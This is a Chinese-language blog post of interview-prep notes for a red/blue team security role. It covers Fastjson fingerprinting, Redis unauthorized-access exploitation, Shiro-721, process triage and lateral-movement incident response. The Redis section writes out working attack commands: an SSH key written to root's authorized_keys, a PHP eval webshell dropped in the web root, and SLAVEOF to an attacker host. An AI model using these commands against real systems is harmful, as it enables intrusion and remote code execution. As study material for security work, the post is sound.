2025HW面试记录【3】

发布于:2025-03-27 ⋅ 阅读:(41) ⋅ 点赞:(0)

小计:刚结束的一场面试,因为前几天没把重心放在护网上,所以有一些地方回答有点欠缺,比如,渗透时如何判断攻击目标使用的是Fastjson没有回答出看报错和版本,redis未授权利用只回答出了ssh写公钥,进程排查也没回答全,感觉有点悬了,不过还是整理出来给接下来有面试的xdm避避雷~

1. 渗透时如何判断攻击目标使用的是Fastjson

在渗透测试中,判断目标是否使用Fastjson可以通过以下几种方式:

1.1 观察HTTP请求和响应

  • 请求特征

    • Fastjson通常用于处理JSON数据,观察请求中是否包含JSON格式的数据。

    • 如果请求头中包含Content-Type: application/json,可能是Fastjson。

  • 响应特征

    • 如果响应中返回了@type字段,这通常是Fastjson的特征。

    • 例如:

      {
        "@type": "com.example.User",
        "name": "test",
        "age": 20
      }

1.2 报错信息

  • 如果目标应用未正确处理异常,可能会返回Fastjson的报错信息。

  • 例如:

    java.lang.ClassNotFoundException: com.example.User
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:XXX)

1.3 版本探测

  • 构造一个包含@type字段的恶意JSON,观察响应:

    {
      "@type": "java.lang.AutoCloseable"
    }
    • 如果返回类似autoType is not support的错误,说明目标使用了Fastjson。

1.4 工具辅助

  • 使用工具(如Burp Suite)扫描目标,观察是否有Fastjson相关的特征。

  • 使用插件(如FastjsonScan)自动化检测Fastjson漏洞。


2. Redis未授权的攻击利用方式

2.1 写入SSH公钥

  • 条件:目标服务器开启了SSH服务,且Redis以root权限运行。

  • 步骤

    1. 生成SSH密钥对:

      ssh-keygen -t rsa
    2. 将公钥写入Redis:

      (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
      cat key.txt | redis-cli -h <target-ip> -x set ssh_key
    3. 将公钥写入目标服务器的~/.ssh/authorized_keys

      redis-cli -h <target-ip>
      config set dir /root/.ssh/
      config set dbfilename authorized_keys
      save
    4. 使用私钥登录目标服务器:

      ssh -i id_rsa root@<target-ip>

2.2 写入Webshell

  • 条件:目标服务器运行了Web服务,且Redis有权限写入Web目录。

  • 步骤

    1. 将Webshell写入Redis:

      redis-cli -h <target-ip>
      set webshell "<?php @eval($_POST['cmd']); ?>"
      config set dir /var/www/html/
      config set dbfilename shell.php
      save
    2. 访问Webshell:

      http://<target-ip>/shell.php

2.3 利用主从复制执行命令

  • 条件:Redis版本 >= 4.x。

  • 步骤

    1. 攻击者搭建恶意Redis服务器,加载恶意模块。

    2. 将目标Redis设置为从节点,指向恶意服务器:

      redis-cli -h <target-ip>
      SLAVEOF <attacker-ip> 6379
    3. 目标Redis加载恶意模块,执行任意命令。

2.4 数据泄露

  • 直接读取Redis中的数据,获取敏感信息。


3. 如何进行进程排查

在安全事件响应中,进程排查是发现恶意程序或异常行为的重要手段。以下是进程排查的步骤:

3.1 查看当前运行的进程

  • Linux

    ps aux
    • 查看所有进程的详细信息,包括PID、CPU和内存占用、启动命令等。

  • Windows

    tasklist
    • 查看当前运行的进程列表。

3.2 查找可疑进程

  • 查找高CPU或内存占用的进程

    top  # Linux
  • 查找异常路径的进程

    • 检查进程的启动路径是否在正常目录(如/usr/binC:\Windows\System32)。

    • 例如:

      ps aux | grep /tmp

3.3 检查进程的网络连接

  • Linux

    netstat -antp
    • 查看进程的网络连接,特别是与外部IP的连接。

  • Windows

    netstat -ano

3.4 检查进程的文件描述符

  • Linux

    lsof -p <PID>
    • 查看进程打开的文件和网络连接。

3.5 检查进程的父进程

  • Linux

    pstree -p <PID>
    • 查看进程的父进程和子进程关系,判断是否有异常。

3.6 检查定时任务和启动项

  • Linux

    crontab -l
    ls -la /etc/cron.d/
  • Windows

    • 检查启动文件夹和注册表中的启动项。

3.7 使用工具辅助

  • Linux

    • 使用htopglances等工具查看进程详情。

  • Windows

    • 使用Process ExplorerAutoruns等工具分析进程和启动项。

4. Shiro-721攻击者怎么破解密钥

漏洞背景

Shiro-721(CVE-2019-12422)是Apache Shiro的一个漏洞,攻击者可以通过Padding Oracle Attack破解AES密钥,进而构造恶意反序列化数据。

攻击步骤

  1. 获取有效Cookie

    • 攻击者通过正常登录获取一个有效的rememberMe Cookie。

  2. 构造恶意请求

    • 攻击者通过修改Cookie中的密文,发送大量请求,观察服务器的响应。

  3. 破解密钥

    • 通过Padding Oracle Attack,攻击者逐步破解AES密钥。

  4. 构造恶意数据

    • 一旦获取密钥,攻击者可以构造恶意的序列化数据,触发反序列化漏洞。

5. 主机被内网横向渗透的处理

1. 确认入侵并初步响应

1.1 确认入侵

  • 异常现象

    • 主机性能异常(CPU、内存占用过高)。

    • 网络流量异常(大量未知外连或内连)。

    • 未知进程或服务运行。

    • 系统日志中出现可疑登录记录或操作。

  • 检测工具

    • 使用tophtop(Linux)或Task Manager(Windows)查看进程。

    • 使用netstatss(Linux)或netstat -ano(Windows)检查网络连接。

1.2 初步隔离

  • 断开网络

    • 立即断开受感染主机的网络连接,防止攻击者进一步渗透。

  • 备份数据

    • 对受感染主机进行镜像备份,便于后续分析和取证。


2. 收集证据

2.1 系统信息收集

  • 进程信息

    • 使用ps aux(Linux)或tasklist(Windows)查看所有进程。

    • 使用pstree(Linux)查看进程树,分析父子进程关系。

  • 网络连接

    • 使用netstat -antp(Linux)或netstat -ano(Windows)查看网络连接。

    • 使用lsof -i(Linux)查看进程打开的网络连接。

  • 文件检查

    • 使用find命令(Linux)查找可疑文件:

      bash

      复制

      find / -name "*.sh" -o -name "*.py" -o -name "*.exe"
    • 检查/tmp/var/tmp等临时目录。

    • 使用stat命令查看文件修改时间。

2.2 日志分析

  • 系统日志

    • Linux:检查/var/log/目录下的日志文件(如auth.logsyslog)。

    • Windows:检查事件查看器(Event Viewer)中的安全日志。

  • Web日志

    • 检查Web服务器日志(如access.logerror.log),查找可疑请求。

  • 登录日志

    • Linux:检查/var/log/auth.log/var/log/secure

    • Windows:检查Event Viewer -> Windows Logs -> Security

2.3 内存取证

  • 内存转储

    • 使用工具(如LiME(Linux)或DumpIt(Windows))转储内存。

  • 分析内存

    • 使用Volatility分析内存中的进程、网络连接、注册表等信息。


3. 分析攻击路径

3.1 漏洞分析

  • 检查已知漏洞

    • 检查系统是否存在未修复的漏洞(如永恒之蓝、Redis未授权访问等)。

  • 检查弱口令

    • 检查系统是否存在弱口令或默认口令。

3.2 攻击路径还原

  • 横向移动痕迹

    • 检查内网中其他主机是否被渗透。

    • 使用工具(如NmapMetasploit)扫描内网,查找可疑主机。

  • 攻击者工具

    • 查找攻击者使用的工具(如Mimikatz、Nmap、Metasploit等)。


4. 清除恶意程序

4.1 终止恶意进程

  • Linux

    • 使用kill命令终止可疑进程:

      bash

      复制

      kill -9 <PID>
  • Windows

    • 使用Task Managertaskkill命令终止可疑进程:

      bash

      复制

      taskkill /PID <PID> /F

4.2 删除恶意文件

  • Linux

    • 使用rm命令删除可疑文件:

      bash

      复制

      rm -rf /path/to/malicious/file
  • Windows

    • 手动删除可疑文件,或使用杀毒软件清除。

4.3 清理持久化后门

  • Linux

    • 检查crontabrc.local/etc/init.d/等启动项。

    • 检查~/.ssh/authorized_keys是否有未知公钥。

  • Windows

    • 检查注册表启动项(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)。

    • 检查计划任务(Task Scheduler)。


5. 修复漏洞

5.1 修补系统漏洞

  • 更新系统

    • Linux:使用yum updateapt-get update更新系统。

    • Windows:安装最新的系统补丁。

  • 修复应用漏洞

    • 更新Web服务器、数据库等应用的版本。

5.2 加强访问控制

  • 修改弱口令

    • 修改所有系统的弱口令或默认口令。

  • 限制访问

    • 使用防火墙限制内网访问(如iptablesWindows Firewall)。


6. 恢复和监控

6.1 恢复系统

  • 从备份恢复

    • 如果系统被严重破坏,从干净的备份中恢复。

  • 重新上线

    • 在确认系统安全后,重新连接网络。

6.2 加强监控

  • 部署IDS/IPS

    • 部署入侵检测系统(IDS)或入侵防御系统(IPS)。

  • 日志监控

    • 使用ELK(Elasticsearch、Logstash、Kibana)或Splunk集中监控日志。

  • 定期扫描

    • 定期使用漏洞扫描工具(如Nessus、OpenVAS)扫描内网。

7 其他问题

还有一些比较基础简单的,之前文章有写,这里只是列出问题来:

xxe的攻击方式
sql注入预编译是怎么一回事儿
java内存马的三种类型
内存马的排查方式
redis oracle 端口号